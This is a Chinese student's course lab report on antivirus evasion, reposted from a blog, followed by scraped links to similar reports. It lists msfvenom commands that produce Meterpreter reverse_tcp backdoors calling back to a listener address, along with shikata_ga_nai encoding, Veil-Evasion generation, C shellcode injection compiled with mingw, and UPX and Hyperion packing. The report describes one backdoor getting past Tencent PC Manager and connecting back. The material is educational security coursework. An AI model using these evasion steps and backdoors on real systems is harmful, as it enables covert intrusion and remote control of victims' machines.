Exp3 免杀原理和实践
一、基础问题回答
1.杀软是如何检测出恶意代码的?
(1)基于特征码的检测
特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。
(2)启发式恶意软件检测
一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。
(3)基于行为的恶意软件检测
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2.免杀是做什么?
免杀,即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
(1)变形特征码:
- 只有EXE:
加壳:压缩壳 加密壳
- 有shellcode:
- encode编码、payload重新编译
- 有源代码:
翻译成其他语言
(2)改变明目张胆的行为:
改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
改变操作模式 - 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
(3)非常规免杀方法:
使用社工类攻击、纯手工打造一个恶意软件等等。
二、具体实验内容
1. 正确使用msf编码器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=4310 -f exe > ZHYY_backdoor.exe
和第二次实验一样用msf编码器生成了一个相对比较简单的后门,将这个后门拉到virscan上检测一番:
59%的杀软检测出来有问题。
接下来尝试着编译多次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.192.128 LPORT=4310 -f exe > ZHYY_backdoor7.exe
拉到virscan网站上去检测,发现报毒率升高,WTF
2. msf编码器生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.198 LPORT=4310 x> 66zhyy.jar
整出来一个这个东西:
拉到virscan上扫描:
报毒率明显较低,C语言感觉还是不靠谱,java和php感觉靠谱多了
2. veil-evasion的安装和使用
这是整个实验中最狗逼的内容没有之一,没有任何技巧性可言,完全取决于客观条件:网速,电脑性能。对于装软件来说我的这台辣鸡电脑从来没有让我欣慰过,同样这次装这个veil甚至一度让我装到自闭,不过好在最后问题都解决了,在老师和同学的帮助下。好了先说一下遇到的问题:
(1)首先是这个dpkg:
很头疼,上网查了好多,然并卵,最后run一下后面那段'sudo dpkg....'就OK了
(2)然后是葡萄酒
出现对话框就直接卡在这个界面不动了,根据提示你要装一个32位的葡萄酒
(3)安装葡萄酒出现问题:
这次学聪明了,run一下就行了
(3)葡萄酒又丢失
在最后的关头,葡萄酒又找不到了,跟上述问题一样run run run
最后终于装好了这个玩意:
如果说有谁装的比我还慢那一定是我的舍友,他到现在也没装好然后自闭地在寝室里打2K
不得不说这个东西的作用还挺大的,生成对的exe文件比接下来注入的shellcode靠谱地多
然后list一下选一种反弹链接的语言:
比如这个后面带rev_tcp.py的
use 7 //选择c语言模板 set LHOST 192.168.198.128set LPORT 4316 generate //生成 //输入名字78747
然后去 var/lib/veil/output/compiled/这个文件里去找这个可执行文件
然后刚刚拉到windows下就被电脑管家咔擦掉了
还是在kali上用virscan检测一下吧:
报毒率明显减少了许多。
3. 使用shellcode注入
首先利用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4310 -f c 生成shellcode
输入 vim 4310shellcode.c 把生成的shellcode粘贴过来,再用c语言补全整个程序
保存并退出编辑器后,利用 i686-w64-mingw32-g++ shellcode1.c -o 4310shellcode.exe 编译.c文件,生成exe文件
然后被又被电脑管家给咔嚓掉了
4. 使用各种组合技术实现免杀
我是给第三项注入的shellcode程序做的,这个实验遇到了一些问题,首先就是我生成的那个4310shellcode.exe在加入电脑管家的白名单之后无法实现反弹链接,所以我重新修改了一下生成的c语言文件,给他加了头文件:
然后用upx压缩壳,输入命令 upx dllm2.exe -o 4310dllm.upxed.exe
将这个文件拉到windows下被电脑管家发现,不过加入白名单之后可以实现反弹链接了。
在此基础上给他加一个hyperion壳
cd /usr/share/windows-binaries/hyperion/ wine hyperion.exe -v 4310dllm.upxed.exe 4310dllm.upxed.Hyperion.exe
然而还是被查杀了
三、成功例子
1. 后门和杀软共生
考虑到C语言生成的后门容易被查,所以这里我用了python语言编写后门,又考虑到半手工免杀手段容易被识破,所以送veil生成后门。
然后发现好像杀软没有管他。。。
给他加一个压缩壳,立马被杀了,可能加壳这种东西对于电脑管家来说太容易被发现了
然后再给他加一个hyperion壳,电脑管家就没有发现异常
好像除了我电脑速度慢,也没发现其他的什么问题,然后尝试回连,回连成功。
2. 用另一台电脑实测在杀软环境下实现回连,并标明杀软版本。
将网络模式由NAT设置为桥接,然后ping一下另一台主机,即可实现回连。我ping不通舍友的,我舍友能ping通我的,我就用我舍友把我电脑给攻陷了,当然后门是我自己做的....
四、实验总结
通过本次实验,掌握了后门更多的生成方法以及如何通过加壳实现免杀(虽然没有实现)以及杀软是通过什么来进行杀毒的,体会道了veil的强大之处,同时这次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制作的后门时几乎是毫无用处的,最关键的是制作这样一个免杀后门的技术门槛和成本是非常低的。所以开启杀软无法绝对防御电脑种的恶意代码。
这次实验相比于前几次来说完成地相对独立了,遇到了很多很多的问题,也是自己一个人慢慢解决了百分之九十九不过真正能力的提升还是得靠自己一点一点来努力,只有把自己逼入绝境才能有所突破,用了很长时间呢,不过这些问题基本上都已经搞明白了,搞不明白没关系,还有七次实验能让自己多敲敲代码,努力吧,希望下一次会更好,希望下一次自己能做的更加独立。
转载于:https://www.cnblogs.com/zhyy981025/p/10629016.html
Exp3 免杀原理和实践相关推荐
- 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019 20165208 网络对抗 Exp3 免杀原理与实践
目录 2018-2019 20165208 网络对抗 Exp3 免杀原理与实践 实验内容 基础问题回答 实践过程记录 任务一:正确使用免杀工具或技巧 任务二:通过组合应用各种技术实现恶意代码免杀 任务 ...
- 20164301 Exp3 免杀原理与实践
Exp3 免杀原理与实践 1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应 ...
- Exp3 免杀原理与实践 20164323段钊阳
网络对抗技术 20164323 Exp3 免杀原理与实践 免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何 ...
- 网络对抗 Exp3 免杀原理与实践 20154311 王卓然
Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? ①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件. ...
- 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践
2019-2020-2 20175227张雪莹<网络对抗技术> Exp3 免杀原理与实践 目录 0. 基础知识 1. 实验内容 1.1 方法 1.1.1 正确使用msf编码器 1.1.2 ...
- Exp3 免杀原理与实践 20164321 王君陶
Exp3 免杀原理与实践 20164321 王君陶 1实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分), ...
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5
<网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
最新文章
- iOS ERROR ITMS - 打包上传报错整理
- 中科院DeepMind联手,用深度学习揭示大脑如何识别人脸|Nature子刊
- Maven最佳实践 划分模块 配置多模块项目 pom modules
- Emit学习-进阶篇-定义事件
- java 加密解密简单实现
- Windows服务器安全设置经验详谈
- datagrid显示mysql_WPF DataGrid显示MySQL查询信息,且可删除、修改、插入 (原发布 csdn 2018-10-13 20:07:28)...
- LeetCode 1786. 从第一个节点出发到最后一个节点的受限路径数(迪杰斯特拉 + 拓扑排序)
- Shell 脚本来监控 Linux 系统的内存
- AJPFX分享java排序之希尔排序
- 扫雷源代码(HTML)
- 11(0)-AirSim+四旋翼仿真-人工势场法避障
- 2020届 中国农业银行 研发中心 武汉研发部 校招 (面经)
- 中高端洪流已至,酒店企业如何趁势突围
- Fatal error in launcher:解决
- Windows如何根据代码签名生态系统确定要信任的软件
- 电力电子 中英 对照
- 软件测试工程师必备技能(初中高)
- java-opencv文档
- Python读取docx表格中的合并单元格信息
热门文章
- 【IOS】如何在cocos2d 游戏中添加 移动广告
- Oracle(TNS)协议解析及C/C++代码解析
- oracle 中tns,Oracle的TNS是什么?
- android 获取手机IMSI码 双卡双待手机
- mvc5中在 html,解决ASP.NET MVC5中出现在XX 字段是必需的错误。@Html.ValidationSummary()...
- 2020最新Java面试题
- 服务器连接github
- 获取一天的开始时间和结束时间
- 织梦5.7系统dede:likearticle标签使用教程|
- K8s资源清单定义入门